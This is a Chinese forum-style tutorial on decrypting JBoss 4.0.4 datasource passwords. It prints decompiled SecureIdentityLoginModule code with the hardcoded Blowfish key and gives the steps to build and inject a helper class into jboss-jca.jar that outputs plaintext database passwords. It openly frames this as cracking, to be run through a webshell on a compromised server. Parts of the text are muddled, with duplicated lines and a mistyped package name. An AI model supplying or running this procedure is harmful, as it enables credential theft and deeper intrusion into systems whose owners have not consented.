欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

关于JBOSS解密数据库连接池的问题汇总小白贴

程序员文章站 2022-03-19 12:25:22
用了JDgui还有看了前辈门的解密方法我一个没成功过  jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解  jboss-...
用了JDgui还有看了前辈门的解密方法我一个没成功过 
jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解 

jboss-4.0.4.GA为例,解密的原理很简单,先找到加密所使用的方法: 
java -cp "xxx.jar ……" org.jboss2.resource.security.SecureIdentityLoginModule 13456 加密方法 


好了,找到SecureIdentityLoginModule所在的包jboss-jca.jar,找到SecureIdentityLoginModule.class,稍稍反编译一下就全明白了,加密使用的是: private static String encode(String secret),自然解密的到是:
private static char[] decode(String secret) 
private static String encode(String secret) 
    throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException 
  { 
    byte[] kbytes = "jaas is the way".getBytes(); 
    SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); 

    Cipher cipher = Cipher.getInstance("Blowfish"); 
    cipher.init(1, key); 
    byte[] encoding = cipher.doFinal(secret.getBytes()); 
    BigInteger n = new BigInteger(encoding); 
    return n.toString(16); 
  } 

  private static char[] decode(String secret) 
    throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException 
  { 
    byte[] kbytes = "jaas is the way".getBytes(); 
    SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); 

    BigInteger n = new BigInteger(secret, 16); 
    byte[] encoding = n.toByteArray(); 

    Cipher cipher = Cipher.getInstance("Blowfish"); 
    cipher.init(2, key); 
    byte[] decode = cipher.doFinal(encoding); 
    return new String(decode).toCharArray(); 
  } 

  public static void main(String[] args) 
    throws Exception 
  { 
    String encode = encode(args[0]); 
    System.out.println("Encoded password: " + encode); 
  } 
} 

好了加密解密参数都有了最关键的是如何在webshell执行看了大牛门的解密java我在线测试了一下不成功没有回显不知道是不是阉割版的 

byte[] kbytes = "jaas is the way".getBytes()  关键这个前面的大牛在7月份就爆出来了 

现在我说的是我的2B笨办法大家可以尝试一下 度娘第一页代码全都偏了我整理了一下 

建立文件   
jboss-4.0.4.GA\server\default\lib\A.java,内容: 
package org.jboss.resource.security; 看不懂的就是函数A的意思啦  直接贴代码就完了 
class A{     
    public static void main(String args[]) 
        throws Exception 
    { 
        SecureIdentityLoginModule seq = new SecureIdentityLoginModule(); 
         
        char[] decode = seq.decode(args[0]); 
        System.out.println("Haha, DEcoded password: " + new String(decode)); 
    } 
} 


再建立文件 
再建一个文件
SecureIdentityLoginModule.java:package org.jboss.resource.security; 

SecureIdentityLoginModule.java: 

package org.jboss.resource.security; 

class SecureIdentityLoginModule{ 
    static String encode(String s){ 
        return s;     
    } 
     
    static char[] decode(String s){ 
        return new char[100];     
    } 
} 

这个SecureIdentityLoginModule是可以单独编译的,然后把编译后的SecureIdentityLoginModule.class放到\jboss-4.0.4.GA\server\default\lib\org\jboss\resource\security 

最后一步,把编译好的A.class添加到jboss-jca.jar包中(作坏事前先备份)。 


调用方法: 
java -cp "D:\jboss-4.0.4.GA\lib\jboss-jmx.jar;D:\jboss-4.0.4.GA\lib\jboss-common.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar;D:\jboss-4.0.4.GA\server\default\lib\jbosssx.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar" org.jboss.resource.security.A   加密字符串   linux下直接就是把D 改成/home/jboss-4.0.4.GA\lib\jboss-jmx.jar;  等等 我直接把这四个都打包到了本地直接本地假设java环境就可以了反正都是通用的  反正大牛讲的 
那个直接编译的我是用不成这个留帖子自己看  有需要的也可以辅助走哦